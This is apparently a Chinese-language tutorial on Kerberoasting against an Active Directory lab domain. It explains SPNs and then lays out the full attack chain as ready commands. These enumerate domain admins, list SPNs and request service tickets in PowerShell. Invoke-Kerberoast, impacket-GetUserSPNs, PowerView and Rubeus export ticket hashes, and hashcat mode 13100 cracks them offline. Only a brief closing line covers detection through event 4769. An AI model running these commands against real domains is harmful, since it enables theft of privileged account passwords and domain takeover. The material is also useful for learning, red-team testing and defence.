一、简介
1.1 攻击流程
kerberosating
是一种基于Kerberos
协议,利用SPN
机制签发ST
,取得票据后,对票据进行离线破解以此取得SPN
所关联账户的明文密码的机制。
1.2 SPN
-
SPN(ServicePrincipal Names)
是一个服务实例的唯一标识符,kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联。 -
换言之,就是如果想使用
Kerberos
协议来认证服务,那么必须正确配置 SPN。 -
SPN示例:
- 格式:
<serviceclass>/<host>:<port>/<service name>
- 远程桌面服务:
TERMSRV/WIN-DO4J60BDGU8.tech.com
- LDAP服务:
ldap/DC/tech.com
- 格式:
-
对账户设置SPN
setspn -S test/test.tech.com privilege
二、攻击
2.1 利用流程
- 查看域内特权账户==>找到这些特权账户的SPN==>利用SPN主动申请ST==>将票据导出==>离线破解==>取得关联账户明文密码
2.2 探查域内特权账户
- 使用普通域内账户即可开始攻击
- 查询域管账户:
net groups "Domain Admins" /domain
2.3 找到这些特权账户的SPN
- 查询域内所有的SPN
setspn -q */*
2.4 利用SPN主动申请ST
- 根据扫描出的结果使用微软提供的类 KerberosRequestorSecurityToken 发起 kerberos 请求,申请 ST 票据。
PS C:\> Add-Type -AssemblyName System.IdentityModel
PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "test/test.tech.com"
- 注意:
- 因为这里使用的是自身的普通账户请求的票据,所以没法直接采用PTT的方式使用票据的关联特权账户权限
2.5 票据利用
2.5.1 方式1
-
依赖工具:
-
导出票据:Invoke-Kerberoast.ps、Rubeus.exe、
PowerView
、Impacket
-
离线破解:hashcat
-
Invoke-Kerberoast.ps1
-
这里我上一天执行的时侯还是OK的,今天再复现就出现了异常~~~,就盗图了哈
-
PS C:\> Import-module .\Invoke-Kerberoast.ps1
PS C:\> Invoke-kerberoast -outputformat hashcat |fl
2.5.2 方式2:impacket
- 查询票据:
impacket-GetUserSPNs -dc-ip 192.168.30.149 tech.com/administrator
- 请求指定用户票据:
impacket-GetUserSPNs -dc-ip 192.168.30.149 tech.com/administrator -request-user privilege
2.5.3 方式2:PowerView
-
下载:传送门
-
获取指定用户票据哈希:
Get-DomainUser -Identity privilege | Get-DomainSPNTicket -Format Hashcat
2.5.4 方式3:Rubeus
- 获取指定用户哈希:
.\Rubeus.exe kerberoast /user:privilege /nowrap
/nowrap
:转换输出格式为符合hashcat
的格式/tgtdeleg
:申请RC4
加密格式字符
2.6 票据解密
hashcat -m 13100 hash wordlist -o found.txt
- 注:
hash
是前线取得的hash值,注意将其转为单行!否则不符合格式
三、事件溯源
- 在账户向DC申请
SPN
票据时会产生日志4769
,以此通过申请账户以及申请服务ID
来判断该攻击是否发生